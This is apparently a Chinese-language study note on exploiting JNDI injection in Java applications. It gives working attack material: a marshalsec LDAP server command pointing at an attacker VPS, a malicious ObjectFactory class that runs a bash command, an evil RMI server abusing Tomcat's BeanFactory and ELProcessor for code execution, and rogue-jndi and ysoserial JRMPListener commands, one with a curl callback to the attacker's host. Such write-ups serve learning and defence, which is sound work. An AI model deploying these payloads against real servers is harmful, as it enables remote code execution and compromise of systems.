关于JNDI相关知识已经在上一篇文章中进行说明:JNDI学习笔记
这一篇将主要学习JNDI注入漏洞的利用手法。
JNDI是Java里独有的概念,因此JNDI注入也是Java中独有的一类安全漏洞。如果有应用程序进行了JNDI查询,并且其查询的地址或者名称攻击者可控的话,就会形成JNDI注入漏洞。
比如如下代码:
// env是用于创建InitialContext的环境变量属性配置
Hashtable env = new Hashtable();
// Context.INITIAL_CONTEXT_FACTORY即字符串java.naming.factory.initial
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
// Context.PROVIDER_URL即字符串java.naming.provider.url
env.put(Context.PROVIDER_URL,"rmi://localhost:1099");
// 创建 InitialContext
InitialContext context = new InitialContext(env);
// 根据用户传递的参数 name 作为名字查询绑定的对象
Object obj = context.lookup(request.getParameter("name"));
尽管这里传递给InitialContext的Hashtable变量里已经设置了 java.naming.provider.url 为应用想访问的RMI服务地址,但实际上在执行lookup方法时,会对传递的name参数进行解析。如果name是一个完整的URL字符串的话,lookup的地址就会动态切换到name指定的地址。此时攻击者构造name参数的值为自己服务器的ip,应用程序就会向服务器发送请求。攻击者可以构造恶意的RMI或LDAP等命名目录服务,来使目标进行远程类加载,或者进行反序列化攻击,最终可以在目标服务器上执行恶意代码。
JNDI注入漏洞的可利用手法:
利用流程:
复现:
需要使用Marshalsec这款工具里已经集成有构建恶意RMI或LDAP服务的程序,这款工具的使用需要Java8的环境
项目地址:GitHub - mbechler/marshalsec
命令如下:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://vps-ip//#Exploit 389
这个命令会在389端口监听一个LDAP服务,当被攻击者对它进行 JNDI lookup 查询时,它会返回一个Reference。类加载地址指向http://vps-ip/Exploit.class,Exploit.class是攻击者自己编译的恶意Java代码经编译后得到的字节码。源码如下:
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Exploit implements ObjectFactory {
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
java.lang.Runtime.getRuntime().exec(new String[] {"/bin/bash", "-c", "touch /tmp/pwned"});
return null;
}
}
被攻击者代码;
String jndiurl = "ldap://启动ldap服务的主机:389/Exploit";
Context ctx = new InitialContext();
ctx.lookup(jndiurl);
受害者值如下代码就会向向攻击者电脑(开启LDAP或者RMI)发送请求,返回一个Reference,类加载服务器上的恶意文件,Exploit.class文件里面的命令:touch /tmp/pwned 就会被执行
从高版本JDK开始,就禁止RMI和LDAP远程加载Factory类,但若是在目标依赖环境中可以找到危险的Factory,同样可以加载Factory类,完成代码执行。
可以Tomcat Server的一个类,org.apache.naming.factory.BeanFactory。由于该类的getObjectInstace方法进行了反射作用,所以可以通过利用它调用java.el.ELProcessor的eval方法,最后实现EL表达式来达到远程代码执行的效果。利用代码如下:
import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
public class EvilRMIServerNew {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
ref.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
这段代码启动了RMI服务,目标程序如果有Tomcat相关依赖,而且有作用类似下面的代码,就能来连接上恶意的RMI服务,最终通过构造表达式执行系统命令nslookup jndi.s.artsploit.com
new InitialContext().lookup("rmi://evil_rmi_server:1097/Object");
出来这种方法,还有其它许多的危险的Factory类,都已经集成到GITHUB项目rogue-jndi中。
项目地址:GitHub - veracode-research/rogue-jndi: A malicious LDAP server for JNDI injection attacks
使用方法:
java -jar target/RogueJndi-1.0.jar --command "命令" --hostname 本机地址
在本地启动这些服务,然后在易受攻击的客户端上触发 JNDI 解析
前面的两种方法是通过将恶意的Java对象绑定到RMI和JDAP这些命名目录服务上,是通过序列化特定的对象字节码来实现攻击的。还可以通过JNDI注入来实现反序列化攻击。
反序列化攻击可以借助ysoserial中的JRMPListener来完成。
使用方法:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonCollections6 "curl http://you-ip/"
会在本机1099端口经停JRMP服务(是RMI用到的底层协议),当受害者执行下面代码时,JRMP就会构建恶意的Commons Collection序列化数据返回给受害者客户端,如果受害者客户端存在有缺陷的Apache Commons Collection库,反序列化攻击就会成功,命令被执行。
String jndiurl = "ldap://you-ip:1099/Exploit";
Context ctx = new InitialContext();
ctx.lookup(jndiurl);
基于Reference的远程/本地加载Factory类,攻击端需要启动LDAP/RMI目录服务,当攻击机请求之后,就会加载远程/本地的Factory来实现远程代码执行。
反序列化的利用则是直接注入恶意的序列化数据,来达到远程代码执行的目的。